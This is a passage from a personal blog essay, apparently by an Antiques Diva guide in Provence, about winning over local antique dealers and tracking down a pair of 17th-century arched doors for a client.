But even getting to know the antique dealers won’t help you secure the item you desire.  Often, when finally a selling price is agreed, it will be as a favor. Many antiquaires admit quietly that they will sell a piece only if they like you.

Peter, an antique dealer of repute, is a fine example.  He is a thick set antiquaire, who enjoys his wine and his lunches as much as his antiques.  He could pass as the brother of Friar Tuck.  Peter will rub his thumbs together, look you up and down, sniff a few times before he delivers his verdict.  If he is not liking what he sees, he will simply say, ‘Non, c’est ferme aujourd’hui. Désolé.’ (Sorry, I’m closed today.)

The timing of a visit to the antique dealer’s lair is crucial.  It took a while for me to realize that the vague gestures and the distracted looks that entered the conversation when discussing the age or origin of a particular piece were not personal.

At first I thought my accent was beyond them but no, the French find the foreign accent rather exotic. Nor was it a question of price.  It was far more probable that the seller just had his lunch on his mind and was contemplating which bottle or two of wine would accompany it. Or perhaps it was the aperitifs that called?

I tried arriving after lunch.  But if it wasn’t the fine wines of Provence calling, it was likely to be a game of boules, underway outside the shop, on the sandy public foot-path. ‘I’ll be with you in a minute,’ is the normal greeting, and so you watch as the antique dealer flings his final boule to win against his antique-dealing friends.

I was introduced to Antiquing in France by a friend who was leaving her business, to set off on a world adventure.  She took me around and introduced me to her contacts.  I learnt quickly that these were not just contacts, they were also friends.  Many antique dealers have been in the antique dealing trade for generations: fathers, sons, grandsons and daughters, and many of their antiques have been handed down through the generations.

Provence, Antiques Diva

The antiquaries welcomed me into the fold. The language spoken was French, but not the French that I had learnt at school and was familiar with. Here in the south, the patois or accent is delivered at the speed of the French motor bikers racing between cars on the motorway and is akin to a Londoner trying to understand a Newfoundlander. The exchange is loud and excited. There is little pause for breath.  I came away shaking my head and begging for a translation. After a few visits though, the ear acclimatizes and you realize you understand the guts of the conversation. By the time you are offered an aperitif you know that you have been given the thumbs up even though, they will continue to consider it your severe misfortune that you come from another land.

Searching out the perfect door in Provence is hard.  Even with the right contacts.  Why? Because there are so many: all contending for the position. And my role as the match-maker is to find a connection between the door and the buyer. Then, I stand back and watch the sparks!

Antiques Diva, French antiques

The range of antiques available in Provence is vast, thanks to the successive waves of settlers that have made this area home since the days of the Romans. Romans gave this area its name, which comes from the Latin word Provincia. The architecture and form of Provence may have their roots in antiquity but the style of decoration is from the 17th, 18th, and 19th centuries. The area is covered with chateaus, manor houses (bastides) formerly occupied by wealthy farmers and smaller dwellings called mas’s. In the 19th and 20th centuries many of these homes were converted into summer dwellings by Parisians, seeking the sun, or by the well-to-do Marseillais who wanted to escape the heat of the city. The architecture and furnishing of these buildings, although based on antiquities, re-invented itself into a relaxed elegance that is now known as the Provencal style. Today this is known as the Provence style and is copied and sought out internationally.

Through Antiquing, my love for the environment has found a new route to run. I can help to recycle the great masterpieces of Provincial history that are lying discarded and forgotten. As a passionate recycler, I could immediately see the potential of finding new homes for those pre-loved pieces of art and architecture, crafted in the atelier workshops of ages past. Here, the antiques of Provence are waiting to be rediscovered, to stand again and to be admired.

And so, back to the doors. The ones I found were real beauties. The dealer who located them in his cave of treasures, loves his doors.  And the whole family is in the business: uncles, aunts, sons and daughters. Three days of searching and then, they unearthed the treasure. Hidden behind a stack of other doors, covered with grime and cob-webs they had stood there quite forgotten, since grand-father had opened for business. They were a rarity from the 17th century, double doors, with a beautiful curved arch.

A few drinks, a game of boule and emails sent and voila, they were sold. Smiles and hand-shakes.

Arriving home, I sent the final details to the shippers. Just as I finished, another email arrived in my in-box. It read: “Great work. Just on the off chance, can you locate a Napoleon III chimney-piece?”

Antiques Diva Provence

Caren Trafford not only is our Antiques Diva Provence Guide but she also writes environmental books for kids.  She is happy to find architectural pieces of interest for you in Provence – email”> for more details.